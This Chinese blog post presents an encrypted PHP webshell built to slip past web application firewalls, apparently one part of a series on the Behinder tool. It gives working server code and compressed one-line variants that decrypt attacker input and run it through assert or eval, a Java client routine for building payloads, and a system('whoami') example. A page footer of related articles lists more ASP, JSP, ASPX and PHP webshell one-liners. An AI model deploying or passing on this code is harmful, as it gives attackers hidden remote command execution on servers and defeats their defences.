【原创】利用动态二进制加密实现新型一句话木马之PHP篇
概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端篇
前言
在第一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图,详细内容请参考第一篇文章。

现在我们继续实现该思路的PHP版本。
实现篇
服务端实现
得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。
和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>
简单解释一下流程:
- 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
- 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
- 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
- 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。
压缩一下:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
客户端实现
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。
1.远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2.动态生成二进制字节数组
如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert|eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。
3.已编译类的参数化
为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);
比如一个最简单的命令执行的Payload:
function main(cmd)
{
echo system(cmd);
}
main('whoami');
当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
String basePath="net/rebeyond/behinder/payload/php/";
String payloadPath=basePath+clsName+".php";
StringBuilder code=new StringBuilder();
ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = bis.read()))
bos.write(b);
bis.close();
code.append(bos.toString());
String paraList="";
for (String paraName : params.keySet()) {
String paraValue = params.get(paraName);
code.append(String.format("$%s=\"%s\";", paraName,paraValue));
paraList+=",$"+paraName;
}
paraList=paraList.replaceFirst(",", "");
code.append("\r\nmain("+paraList+");");
return code.toString().getBytes();
}
4.加密payload
将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5.发送payload,接收执行结果并解密
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的PHP一句话木马,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

本篇完。
【原创】利用动态二进制加密实现新型一句话木马之PHP篇的更多相关文章
- 冰蝎动态二进制加密WebShell基于流量侧检测方案
概述 冰蝎是一款新型动态二进制加密网站工具.目前已经有6个版本.对于webshell的网络流量侧检测,主要有三个思路.一:webshell上传过程中文件还原进行样本分析,检测静态文件是否报毒.二:we ...
- 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)
黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...
- 一句话木马:ASP篇
ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...
- 探索基于.NET下实现一句话木马之asmx篇
0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...
- 探索基于.NET下实现一句话木马之ashx篇
0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...
- 冰蝎动态二进制加密WebShell特征分析
概述 冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时 ...
- 一句话木马:JSP篇
JSP一句话收集: <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(applicatio ...
- 一句话木马:ASPX篇
aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...
- 一句话木马:PHP篇
珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...
随机推荐
- Docker:docker安装部署jenkins
Docker安装步骤请转到:https://www.cnblogs.com/nhdlb/p/11262527.html 查看docker的jenkins镜像版本 #查看jenkins版本命令 dock ...
- 严重:Exception sending context initialized event to listener instance of class [myJava.MyServletContextListener] java.lang.NullPointerException
以上错误是我在自定义Servlet监听器时遇到的,首先大致介绍一下我要实现的功能(本人刚开始学,如有错误,请多多指正): 为了统计网站访问量,防止服务器重启后,原访问次数被清零,因此自定义监听器类,实 ...
- Leetcode No.66 Plus One(c++实现)
1. 题目 1.1 英文题目 Given a non-empty array of decimal digits representing a non-negative integer, increm ...
- C++ 继承及委托
从内存角度看继承和多重继承 http://www.doc88.com/p-9075148832569.html 在C++中实现委托(Delegate) https://blog.csdn.net/jf ...
- 锐捷RG-S2951G-EV3 ACL 禁止端口
(config)ip access-list extended 199 (config)10 deny tcp any any eq 2425 (config)20 deny udp any any ...
- flutter实战demo,仿luckin coffee。
flutter_luckin_coffee flutter luckin coffee application(仿瑞幸咖啡) 目录 前言 安卓扫码体验 flutter版本信息 安装 相关插件 维护者 ...
- 关于如何在mysql中插入一条数据后,返回这条数据的id
简单的总结一下如何在mysql中出入一条数据后,返回该条数据的id ,假如之后代码需要这个id,这样做起来就变得非常方便,内容如下: <insert id="insertAndGetI ...
- springMVC-7-数据处理转换
我们为什么要对数据进行处理? 需求:在上个crud中我们如果需要每次修改的时候都要把时间也记录下来 解决:在jsp中新增一个input,在employee中新增一个Data字段 问题:input输出来 ...
- U盘启动盘安装win10出现cdboot:couldn't find ntldr
格式化硬盘后出现:cdboot:couldn't find ntldr 解决方法: 分区时格式选择:硬盘格式导致的,一般出现在win10装win7时,需要用pe系统里的分区工具重新给为硬盘分区,并将 ...
- 静态Web服务器(py版)
近来,对http协议进行了研究,闲来无事.自己使用python3写了个静态Web服务器,以下是代码: static_Web_sever.py ''' 思路:首先使用socket创建tcp服务器,照旧绑 ...